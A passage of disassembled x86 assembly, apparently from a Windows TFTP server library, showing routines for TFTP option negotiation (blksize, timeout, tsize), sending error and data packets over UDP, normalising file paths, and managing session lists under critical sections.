loc_10021D8:				; CODE XREF: sub_10021B5+1Dj
		push	1
		mov	[edx], eax
		pop	eax
		jmp	short loc_10021E1
; ---------------------------------------------------------------------------


loc_10021DF:				; CODE XREF: sub_10021B5+14j
		xor	eax, eax


loc_10021E1:				; CODE XREF: sub_10021B5+28j
		pop	esi
		retn	8
sub_10021B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_10021E5	proc near		; CODE XREF: .text:01001DB0p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		push	esi
		mov	ecx, offset Memory
		and	dword ptr [edx], 0
		mov	eax, Memory


loc_10021F7:				; CODE XREF: sub_10021E5+21j
		cmp	eax, ecx
		jz	short loc_100220A
		mov	esi, [eax+8]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_1002208
		mov	eax, [eax]
		jmp	short loc_10021F7
; ---------------------------------------------------------------------------


loc_1002208:				; CODE XREF: sub_10021E5+1Dj
		mov	[edx], eax


loc_100220A:				; CODE XREF: sub_10021E5+14j
		mov	eax, [edx]
		pop	esi
		neg	eax
		sbb	eax, eax
		and	al, 0A9h
		add	eax, 57h
		retn	8
sub_10021E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1002219	proc near		; DATA XREF: sub_10018DB+CBo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
Memory		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	offset stru_1006020 ; lpCriticalSection
		mov	[ebp+var_C], esi
		call	ds:EnterCriticalSection
		lea	eax, [ebp+Memory]
		push	eax
		call	sub_1001FA6
		test	eax, eax
		jnz	short loc_10022A9
		mov	eax, [ebp+Memory]
		xor	ebx, ebx
		cmp	[eax], esi
		jbe	short loc_1002298


loc_1002248:				; CODE XREF: sub_1002219+7Dj
		mov	eax, [eax+esi+4]
		test	eax, eax
		jz	short loc_100228D
		cmp	eax, 100007Fh
		jz	short loc_100228D
		lea	ecx, [ebp+var_8]
		push	ecx
		push	eax
		call	sub_10021B5
		test	eax, eax
		jz	short loc_1002271
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+18h], 1
		jmp	short loc_100228D
; ---------------------------------------------------------------------------


loc_1002271:				; CODE XREF: sub_1002219+4Aj
		mov	eax, [ebp+Memory]
		push	1
		pop	edi
		push	dword ptr [eax+esi+4] ;	in
		mov	[ebp+var_C], edi
		call	sub_100205A
		test	eax, eax
		mov	[ebp+var_8], eax
		jz	short loc_100228D
		mov	[eax+18h], edi


loc_100228D:				; CODE XREF: sub_1002219+35j
					; sub_1002219+3Cj ...
		mov	eax, [ebp+Memory]
		inc	ebx
		add	esi, 18h
		cmp	ebx, [eax]
		jb	short loc_1002248


loc_1002298:				; CODE XREF: sub_1002219+2Dj
		call	sub_1002182
		push	[ebp+Memory]	; Memory
		mov	esi, eax
		call	ds:free	; free
		pop	ecx


loc_10022A9:				; CODE XREF: sub_1002219+24j
		cmp	[ebp+var_C], 0
		jnz	short loc_10022E9
		test	esi, esi
		jnz	short loc_10022E9
		mov	eax, Memory
		mov	edi, offset Memory
		cmp	eax, edi
		jz	short loc_10022E9


loc_10022C1:				; CODE XREF: sub_1002219+CEj
		mov	[ebp+var_8], eax
		mov	ebx, [eax]
		test	byte ptr [eax+1Ch], 1
		jnz	short loc_10022E3
		mov	esi, [eax+0Ch]
		push	eax		; Memory
		call	sub_1001F54
		push	esi		; in
		call	sub_100205A
		test	eax, eax
		jz	short loc_10022E3
		or	dword ptr [eax+1Ch], 1


loc_10022E3:				; CODE XREF: sub_1002219+B1j
					; sub_1002219+C4j
		cmp	ebx, edi
		mov	eax, ebx
		jnz	short loc_10022C1


loc_10022E9:				; CODE XREF: sub_1002219+94j
					; sub_1002219+98j ...
		push	offset overlapped ; overlapped
		push	offset Handle	; Handle
		call	NotifyAddrChange	; NotifyAddrChange
		push	offset stru_1006020 ; lpCriticalSection
		call	ds:LeaveCriticalSection
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_1002219	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_100230A(struct sockaddr *to, int, SOCKET s,	u_short	hostshort, int)

sub_100230A	proc near		; CODE XREF: sub_1001A91+242p
					; sub_10023D8+23Cp ...

buf		= byte ptr -0FFBCh
var_FFBA	= word ptr -0FFBAh
var_FFB8	= byte ptr -0FFB8h
to		= dword	ptr  8
s		= dword	ptr  10h
hostshort	= word ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	eax, 0FFBCh
		call	_chkstk	; _chkstk
		push	ebx
		push	esi
		mov	esi, ds:htons
		push	edi
		push	5		; hostshort
		call	esi ; htons
		mov	edi, dword ptr [ebp+hostshort]
		mov	word ptr [ebp+buf], ax
		push	edi		; hostshort
		call	esi ; htons
		cmp	[ebp+arg_10], 0
		mov	[ebp+var_FFBA],	ax
		jz	short loc_1002369
		mov	edi, [ebp+arg_10]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [ebp+var_FFB8]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	edi, [ebp+arg_10]
		jmp	short loc_10023A2
; ---------------------------------------------------------------------------


loc_1002369:				; CODE XREF: sub_100230A+32j
		cmp	di, 9
		jb	short loc_1002371
		xor	edi, edi


loc_1002371:				; CODE XREF: sub_100230A+63j
		movzx	eax, di
		or	ecx, 0FFFFFFFFh
		lea	ebx, [ebp+var_FFB8]
		mov	edx, off_1005CC0[eax*4]
		xor	eax, eax
		mov	edi, edx
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	edi, edx


loc_10023A2:				; CODE XREF: sub_100230A+5Dj
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		push	10h		; tolen
		push	[ebp+to]	; to
		not	ecx
		dec	ecx
		push	eax		; flags
		add	ecx, 5
		lea	eax, [ebp+buf]
		push	ecx		; len
		push	eax		; buf
		push	[ebp+s]		; s
		call	ds:sendto	; sendto
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_10023D1
		call	ds:WSAGetLastError	; WSAGetLastError


loc_10023D1:				; CODE XREF: sub_100230A+BFj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	14h
sub_100230A	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_10023D8(int, char *Str1, int, int, int, int)

sub_10023D8	proc near		; CODE XREF: sub_1002F31+302p
					; sub_100333A+26Dp

arg_0		= dword	ptr  4
Str1		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h

		mov	eax, [esp+arg_0]
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_10]
		mov	dword ptr [eax+20h], 200h
		mov	dword ptr [eax+28h], 0Ah
		mov	eax, [esp+0Ch+arg_14]
		push	edi
		mov	ecx, 3FEFh
		and	dword ptr [eax], 0
		xor	eax, eax
		mov	edi, esi
		push	6		; hostshort
		rep stosd
		call	ds:htons	; htons
		mov	[esi], ax
		lea	ebx, [esi+2]
		mov	ebp, [esp+10h+Str1]
		cmp	byte ptr [ebp+0], 0
		jz	loc_10025E4


loc_1002420:				; CODE XREF: sub_10023D8+202j
		mov	esi, ds:_stricmp
		push	offset Str2	; "blksize"
		push	ebp		; Str1
		call	esi ; _stricmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_1002498
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		push	8
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	esi
		add	ebp, esi
		add	ebx, esi
		push	ebp		; Str
		call	ds:atoi	; atoi
		pop	ecx
		cmp	eax, esi
		mov	ecx, [esp+10h+arg_0]
		mov	[ecx+20h], eax
		jb	loc_10025FD
		cmp	eax, 0FFB8h
		ja	loc_10025FD
		cmp	eax, 5B0h
		jnz	short loc_100248F
		mov	dword ptr [ecx+20h], 200h
		sub	ebx, esi
		jmp	loc_10025C6
; ---------------------------------------------------------------------------


loc_100248F:				; CODE XREF: sub_10023D8+A7j
		push	0Ah
		push	ebx
		push	eax
		jmp	loc_1002597
; ---------------------------------------------------------------------------


loc_1002498:				; CODE XREF: sub_10023D8+5Aj
		push	offset aTimeout_0 ; "timeout"
		push	ebp		; Str1
		call	esi ; _stricmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_100251A
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		add	ebp, 8
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebx
		push	ebp		; Str
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		add	ebx, 8
		and	ecx, 3
		rep movsb
		call	ds:atoi	; atoi
		pop	ecx
		mov	ecx, [esp+10h+arg_0]
		push	1
		pop	edx
		cmp	eax, edx
		mov	[ecx+28h], eax
		jl	loc_1002602
		cmp	eax, 0FFh
		jg	loc_1002602
		mov	eax, [esp+10h+arg_14]
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		mov	[eax], edx
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	edi, ebp
		jmp	loc_10025A2
; ---------------------------------------------------------------------------


loc_100251A:				; CODE XREF: sub_10023D8+CCj
		push	offset aTsize	; "tsize"
		push	ebp		; Str1
		call	esi ; _stricmp
		pop	ecx
		mov	edi, ebp
		test	eax, eax
		pop	ecx
		jnz	loc_10025B2
		or	edx, 0FFFFFFFFh
		xor	eax, eax
		mov	ecx, edx
		add	ebp, 6
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebx
		add	ebx, 6
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		cmp	[esp+10h+arg_8], 2
		rep movsb
		jnz	short loc_100258D
		mov	edi, ebp
		mov	ecx, edx
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	edi, ebp
		mov	ecx, edx
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, ebp
		lea	ebx, [ebx+ecx+1]
		mov	ecx, edx
		jmp	short loc_10025CB
; ---------------------------------------------------------------------------


loc_100258D:				; CODE XREF: sub_10023D8+180j
		mov	eax, [esp+10h+arg_0]
		push	0Ah		; Radix
		push	ebx		; DstBuf
		push	dword ptr [eax+24h] ; Val


loc_1002597:				; CODE XREF: sub_10023D8+BBj
		call	ds:_itoa	; _itoa
		add	esp, 0Ch
		mov	edi, ebx


loc_10025A2:				; CODE XREF: sub_10023D8+13Dj
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		lea	ebx, [ebx+ecx+1]
		jmp	short loc_10025C6
; ---------------------------------------------------------------------------


loc_10025B2:				; CODE XREF: sub_10023D8+150j
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		cmp	[ebp+ecx+1], al
		lea	ebp, [ebp+ecx+1]
		jz	short loc_10025E0


loc_10025C6:				; CODE XREF: sub_10023D8+B2j
					; sub_10023D8+1D8j
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh


loc_10025CB:				; CODE XREF: sub_10023D8+1B3j
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		cmp	[ebp+ecx+1], al
		lea	ebp, [ebp+ecx+1]
		jnz	loc_1002420


loc_10025E0:				; CODE XREF: sub_10023D8+1ECj
		mov	esi, [esp+10h+arg_10]


loc_10025E4:				; CODE XREF: sub_10023D8+42j
		mov	eax, [esp+10h+arg_C]
		sub	ebx, esi
		cmp	ebx, 2
		mov	[eax], ebx
		jnz	short loc_10025F4
		and	dword ptr [eax], 0


loc_10025F4:				; CODE XREF: sub_10023D8+217j
		xor	eax, eax


loc_10025F6:				; CODE XREF: sub_10023D8+244j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	18h
; ---------------------------------------------------------------------------


loc_10025FD:				; CODE XREF: sub_10023D8+91j
					; sub_10023D8+9Cj
		push	0
		push	esi
		jmp	short loc_1002606
; ---------------------------------------------------------------------------


loc_1002602:				; CODE XREF: sub_10023D8+105j
					; sub_10023D8+110j
		push	0		; int
		push	8		; hostshort


loc_1002606:				; CODE XREF: sub_10023D8+228j
		push	dword ptr [ecx+8] ; s
		lea	eax, [ecx+0FFF1h]
		add	ecx, 0Ch
		push	eax		; int
		push	ecx		; to
		call	sub_100230A
		or	eax, 0FFFFFFFFh
		jmp	short loc_10025F6
sub_10023D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100261E	proc near		; CODE XREF: sub_1002F31+130p
					; sub_100333A+150p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	al, [ebx]
		mov	ecx, ebx
		mov	esi, ebx
		mov	[ebp+arg_0], ebx


loc_1002630:				; CODE XREF: sub_100261E+22j
		test	al, al
		jz	short loc_1002642
		cmp	al, 5Ch
		jz	short loc_100263C
		cmp	al, 2Fh
		jnz	short loc_1002642


loc_100263C:				; CODE XREF: sub_100261E+18j
		mov	al, [ecx+1]
		inc	ecx
		jmp	short loc_1002630
; ---------------------------------------------------------------------------


loc_1002642:				; CODE XREF: sub_100261E+14j
					; sub_100261E+1Cj ...
		mov	al, [ecx]
		test	al, al
		jz	loc_10026E4
		cmp	al, 2Eh
		jnz	loc_100271C
		mov	dl, [ecx+1]
		lea	edi, [ecx+1]
		cmp	dl, 5Ch
		jz	loc_1002718
		cmp	dl, 2Fh
		jz	loc_1002718
		cmp	dl, al
		jnz	loc_1002703
		mov	dl, [ecx+2]
		lea	edi, [ecx+2]
		cmp	dl, 5Ch
		jz	short loc_1002684
		cmp	dl, 2Fh
		jnz	short loc_1002703


loc_1002684:				; CODE XREF: sub_100261E+5Fj
		dec	esi
		mov	ecx, edi
		dec	esi
		cmp	esi, ebx
		jbe	short loc_10026E0


loc_100268C:				; CODE XREF: sub_100261E+7Bj
		mov	al, [esi]
		cmp	al, 5Ch
		jz	short loc_100269B
		cmp	al, 2Fh
		jz	short loc_100269B
		dec	esi
		cmp	esi, ebx
		jnb	short loc_100268C


loc_100269B:				; CODE XREF: sub_100261E+72j
					; sub_100261E+76j
		inc	esi


loc_100269C:				; CODE XREF: sub_100261E+8Ej
					; sub_100261E+EEj ...
		cmp	esi, [ebp+arg_0]
		jbe	short loc_10026AE
		cmp	byte ptr [esi-1], 20h
		lea	eax, [esi-1]
		jnz	short loc_10026AE
		mov	esi, eax
		jmp	short loc_100269C
; ---------------------------------------------------------------------------


loc_10026AE:				; CODE XREF: sub_100261E+81j
					; sub_100261E+8Aj
		mov	al, [ecx]
		cmp	al, 5Ch
		jz	short loc_10026B8
		cmp	al, 2Fh
		jnz	short loc_1002642


loc_10026B8:				; CODE XREF: sub_100261E+94j
		cmp	esi, ebx
		jz	short loc_10026CB
		mov	al, [esi-1]
		cmp	al, 5Ch
		jz	short loc_10026CB
		cmp	al, 2Fh
		jz	short loc_10026CB
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_10026CB:				; CODE XREF: sub_100261E+9Cj
					; sub_100261E+A3j ...
		inc	ecx
		jz	short loc_10026D8
		mov	al, [ecx]
		cmp	al, 5Ch
		jz	short loc_10026CB
		cmp	al, 2Fh
		jz	short loc_10026CB


loc_10026D8:				; CODE XREF: sub_100261E+AEj
		mov	[ebp+arg_0], esi
		jmp	loc_1002642
; ---------------------------------------------------------------------------


loc_10026E0:				; CODE XREF: sub_100261E+6Cj
		xor	eax, eax
		jmp	short loc_10026FC
; ---------------------------------------------------------------------------


loc_10026E4:				; CODE XREF: sub_100261E+28j
		mov	cl, [esi-1]
		lea	eax, [esi-1]
		cmp	cl, 5Ch
		jz	short loc_10026F4
		cmp	cl, 2Fh
		jnz	short loc_10026F6


loc_10026F4:				; CODE XREF: sub_100261E+CFj
		mov	esi, eax


loc_10026F6:				; CODE XREF: sub_100261E+D4j
		and	byte ptr [esi],	0
		push	1
		pop	eax


loc_10026FC:				; CODE XREF: sub_100261E+C4j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_1002703:				; CODE XREF: sub_100261E+50j
					; sub_100261E+64j ...
		mov	[esi], al
		mov	al, [ecx+1]
		inc	esi
		inc	ecx
		test	al, al
		jz	short loc_100269C
		cmp	al, 5Ch
		jz	short loc_100269C
		cmp	al, 2Fh
		jnz	short loc_1002703
		jmp	short loc_100269C
; ---------------------------------------------------------------------------


loc_1002718:				; CODE XREF: sub_100261E+3Fj
					; sub_100261E+48j
		mov	ecx, edi
		jmp	short loc_100269C
; ---------------------------------------------------------------------------


loc_100271C:				; CODE XREF: sub_100261E+30j
					; sub_100261E+11Dj
		test	al, al
		jz	loc_100269C
		cmp	al, 5Ch
		jz	loc_100269C
		cmp	al, 2Fh
		jz	loc_100269C
		mov	[esi], al
		mov	al, [ecx+1]
		inc	esi
		inc	ecx
		jmp	short loc_100271C
sub_100261E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_100273D(void *Src, int, int)

sub_100273D	proc near		; CODE XREF: sub_1002F31+18Cp
					; sub_100333A+197p

Src		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	edx, [ebp+Src]
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, edx
		mov	ebx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		cmp	byte ptr [ebx+esi-1], 5Ch
		mov	edi, ecx
		setz	al
		xor	ecx, ecx
		cmp	byte ptr [edx],	5Ch
		setz	cl
		test	eax, eax
		jnz	short loc_1002784
		test	ecx, ecx
		jnz	short loc_1002784
		mov	[ebp+arg_8], 1
		jmp	short loc_1002791
; ---------------------------------------------------------------------------


loc_1002784:				; CODE XREF: sub_100273D+38j
					; sub_100273D+3Cj
		and	[ebp+arg_8], 0
		test	eax, eax
		jz	short loc_1002791
		test	ecx, ecx
		jz	short loc_1002791
		dec	ebx


loc_1002791:				; CODE XREF: sub_100273D+45j
					; sub_100273D+4Dj ...
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_4]
		add	eax, edi
		add	eax, ebx
		dec	ecx
		cmp	eax, ecx
		jbe	short loc_10027A4
		xor	eax, eax
		jmp	short loc_10027DA
; ---------------------------------------------------------------------------


loc_10027A4:				; CODE XREF: sub_100273D+61j
		mov	eax, [ebp+arg_8]
		inc	edi
		add	eax, ebx
		push	edi		; Size
		add	eax, edx
		push	edx		; Src
		push	eax		; Dst
		call	ds:memmove	; memmove
		mov	eax, [ebp+Src]
		mov	ecx, ebx
		mov	edx, ecx
		mov	edi, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		add	esp, 0Ch
		and	ecx, 3
		cmp	[ebp+arg_8], 0
		rep movsb
		jz	short loc_10027D7
		mov	byte ptr [ebx+eax], 5Ch


loc_10027D7:				; CODE XREF: sub_100273D+94j
		push	1
		pop	eax


loc_10027DA:				; CODE XREF: sub_100273D+65j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_100273D	endp


; =============== S U B	R O U T	I N E =======================================



sub_10027E1	proc near		; CODE XREF: sub_1002B5E+C7p
					; sub_1002F31+36Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	ecx, [esi+10024h]
		lea	eax, [esi+10024h]
		test	ecx, ecx
		jz	short loc_1002817
		and	dword ptr [eax], 0
		mov	eax, [esp+8+arg_4]
		and	word ptr [esi+10014h], 0
		mov	[esi+10020h], ecx
		mov	eax, [eax+20h]
		mov	[esi+1001Ch], eax
		jmp	short loc_1002877
; ---------------------------------------------------------------------------


loc_1002817:				; CODE XREF: sub_10027E1+14j
		mov	edi, ds:htons
		push	3		; hostshort
		call	edi ; htons
		mov	[esi+38h], ax
		mov	ax, [esi+10014h]
		push	eax		; hostshort
		call	edi ; htons
		mov	[esi+3Ah], ax
		mov	eax, [esp+8+arg_4]
		push	dword ptr [eax+20h]
		lea	eax, [esi+3Ch]
		push	eax
		push	dword ptr [esi+1002Ch]
		call	ds:_read	; _read
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[esi+1001Ch], eax
		jnz	short loc_100286E
		mov	esi, ds:_errno
		call	esi ; _errno
		call	esi ; _errno
		push	dword ptr [eax]	; dwErrCode
		call	ds:SetLastError
		xor	eax, eax
		jmp	short loc_100287A
; ---------------------------------------------------------------------------


loc_100286E:				; CODE XREF: sub_10027E1+75j
		add	eax, 4
		mov	[esi+10020h], eax


loc_1002877:				; CODE XREF: sub_10027E1+34j
		push	1
		pop	eax


loc_100287A:				; CODE XREF: sub_10027E1+8Bj
		pop	edi
		pop	esi
		retn	8
sub_10027E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_100287F	proc near		; CODE XREF: sub_1002F31+2C6p
					; sub_100333A+2CDp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset CriticalSection
		push	esi		; lpCriticalSection
		call	ds:EnterCriticalSection
		mov	ecx, dword_1006098
		push	esi		; lpCriticalSection
		mov	eax, [esp+8+arg_0]
		mov	[eax], ecx
		mov	dword ptr [eax+4], offset dword_1006098
		mov	[ecx+4], eax
		mov	dword_1006098, eax
		call	ds:LeaveCriticalSection
		push	1
		pop	eax
		pop	esi
		retn	4
sub_100287F	endp


; =============== S U B	R O U T	I N E =======================================



sub_10028B5	proc near		; CODE XREF: sub_1002A3D+Cp
					; sub_1002EC8+8p ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, ds:EnterCriticalSection
		push	esi
		push	edi
		mov	edi, offset CriticalSection
		push	edi		; lpCriticalSection
		call	ebx ; EnterCriticalSection
		mov	eax, dword_1006098
		mov	ecx, offset dword_1006098


loc_10028D0:				; CODE XREF: sub_10028B5+2Dj
		cmp	eax, ecx
		jz	short loc_10028F2
		mov	edx, [eax+8]
		lea	esi, [eax-18h]
		cmp	edx, [esp+0Ch+arg_0]
		jz	short loc_10028E4
		mov	eax, [eax]
		jmp	short loc_10028D0
; ---------------------------------------------------------------------------


loc_10028E4:				; CODE XREF: sub_10028B5+29j
		push	esi		; lpCriticalSection
		call	ebx ; EnterCriticalSection
		push	edi		; lpCriticalSection
		call	ds:LeaveCriticalSection
		mov	eax, esi
		jmp	short loc_10028FB
; ---------------------------------------------------------------------------


loc_10028F2:				; CODE XREF: sub_10028B5+1Dj
		push	edi		; lpCriticalSection
		call	ds:LeaveCriticalSection
		xor	eax, eax


loc_10028FB:				; CODE XREF: sub_10028B5+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_10028B5	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_1002901(LPCRITICAL_SECTION lpCriticalSection)

sub_1002901	proc near		; CODE XREF: sub_100297A+Ap

lpCriticalSection= dword ptr  4

		push	esi
		mov	esi, [esp+4+lpCriticalSection]
		mov	eax, [esi+20h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_1002915
		push	eax		; s
		call	ds:closesocket	; closesocket


loc_1002915:				; CODE XREF: sub_1002901+Bj
		mov	eax, [esi+10004h]
		test	eax, eax
		jz	short loc_100292E
		push	0
		push	eax
		push	dword_10060A0
		call	ds:RtlDeleteTimer	; RtlDeleteTimer


loc_100292E:				; CODE XREF: sub_1002901+1Cj
		push	0
		push	dword ptr [esi+0FFFCh]
		call	ds:RtlDeregisterWaitEx	; RtlDeregisterWaitEx
		push	dword ptr [esi+0FFF8h] ; hObject
		call	ds:CloseHandle	; CloseHandle
		push	esi		; lpCriticalSection
		call	ds:DeleteCriticalSection
		pop	esi
		retn	4
sub_1002901	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_1002953(void *Memory)

sub_1002953	proc near		; CODE XREF: sub_100297A+2Fp
					; sub_100297A+37p

Memory		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+Memory]
		mov	eax, [esi+1002Ch]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_100296B
		push	eax
		call	ds:_close	; _close
		pop	ecx


loc_100296B:				; CODE XREF: sub_1002953+Ej
		push	esi		; Memory
		call	ds:free	; free
		pop	ecx
		pop	esi
		retn	4
sub_1002953	endp

; [00000003 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_100297A(LPCRITICAL_SECTION Memory)

sub_100297A	proc near		; CODE XREF: sub_10029BA+55p

Memory		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+Memory]
		test	esi, esi
		jz	short loc_10029B6
		push	esi		; lpCriticalSection
		call	sub_1002901
		mov	eax, [esi+24h]
		dec	eax
		jz	short loc_10029B0
		dec	eax
		jz	short loc_10029A8
		dec	eax
		jz	short loc_10029A0
		dec	eax
		jnz	short loc_10029B6
		push	esi
		call	nullsub_1
		jmp	short loc_10029B6
; ---------------------------------------------------------------------------


loc_10029A0:				; CODE XREF: sub_100297A+19j
		push	esi
		call	nullsub_1
		jmp	short loc_10029B6
; ---------------------------------------------------------------------------


loc_10029A8:				; CODE XREF: sub_100297A+16j
		push	esi		; Memory
		call	sub_1002953
		jmp	short loc_10029B6
; ---------------------------------------------------------------------------


loc_10029B0:				; CODE XREF: sub_100297A+13j
		push	esi		; Memory
		call	sub_1002953


loc_10029B6:				; CODE XREF: sub_100297A+7j
					; sub_100297A+1Cj ...
		pop	esi
		retn	4
sub_100297A	endp


; =============== S U B	R O U T	I N E =======================================



sub_10029BA	proc near		; DATA XREF: sub_10018DB+98o
		push	ebx
		mov	ebx, ds:EnterCriticalSection
		push	esi
		push	offset CriticalSection ; lpCriticalSection
		call	ebx ; EnterCriticalSection
		mov	esi, dword_1006098
		cmp	esi, offset dword_1006098
		jz	short loc_1002A28
		push	edi
		push	ebp


loc_10029D9:				; CODE XREF: sub_10029BA+6Aj
		lea	edi, [esi-18h]
		push	edi		; lpCriticalSection
		call	ebx ; EnterCriticalSection
		mov	ebp, [esi]
		inc	dword ptr [edi+10008h]
		cmp	dword ptr [edi+10008h],	4
		lea	eax, [edi+10008h]
		push	edi		; lpCriticalSection
		jb	short loc_1002A16
		call	ebx ; EnterCriticalSection
		mov	eax, [esi]
		mov	esi, [esi+4]
		mov	[esi], eax
		mov	[eax+4], esi
		mov	ax, [edi+2Ah]
		push	eax		; hostshort
		call	ds:htons	; htons
		push	edi		; Memory
		call	sub_100297A
		jmp	short loc_1002A1C
; ---------------------------------------------------------------------------


loc_1002A16:				; CODE XREF: sub_10029BA+3Bj
		call	ds:LeaveCriticalSection


loc_1002A1C:				; CODE XREF: sub_10029BA+5Aj
		cmp	ebp, offset dword_1006098
		mov	esi, ebp
		jnz	short loc_10029D9
		pop	ebp
		pop	edi


loc_1002A28:				; CODE XREF: sub_10029BA+1Bj
		push	offset CriticalSection ; lpCriticalSection
		call	ds:LeaveCriticalSection
		call	sub_1001A1F
		pop	esi
		pop	ebx
		retn	8
sub_10029BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1002A3D	proc near		; DATA XREF: sub_1002F31+341o
					; sub_100333A+32Co

SystemTime	= _SYSTEMTIME ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_10028B5
		mov	esi, eax
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_1002B57
		mov	eax, [esi+1000Ch]
		cmp	eax, 0Ah
		jnb	loc_1002B0B
		cmp	eax, 5
		jbe	short loc_1002A8E
		lea	eax, [ebp+SystemTime]
		push	eax		; lpSystemTime
		call	ds:GetLocalTime	; GetLocalTime
		mov	ax, [esi+2Ah]
		push	eax		; netshort
		call	ds:ntohs	; ntohs
		mov	ax, [esi+3Ah]
		push	eax		; hostshort
		call	ds:htons	; htons


loc_1002A8E:				; CODE XREF: sub_1002A3D+2Fj
		lea	eax, [esi+28h]
		push	10h		; tolen
		push	eax		; to
		push	ebx		; flags
		push	dword ptr [esi+10020h] ; len
		lea	eax, [esi+38h]
		push	eax		; buf
		push	dword ptr [esi+20h] ; s
		call	ds:sendto	; sendto
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_1002AB3
		call	ds:WSAGetLastError	; WSAGetLastError


loc_1002AB3:				; CODE XREF: sub_1002A3D+6Ej
		mov	edi, [esi+10004h]
		inc	dword ptr [esi+1000Ch]
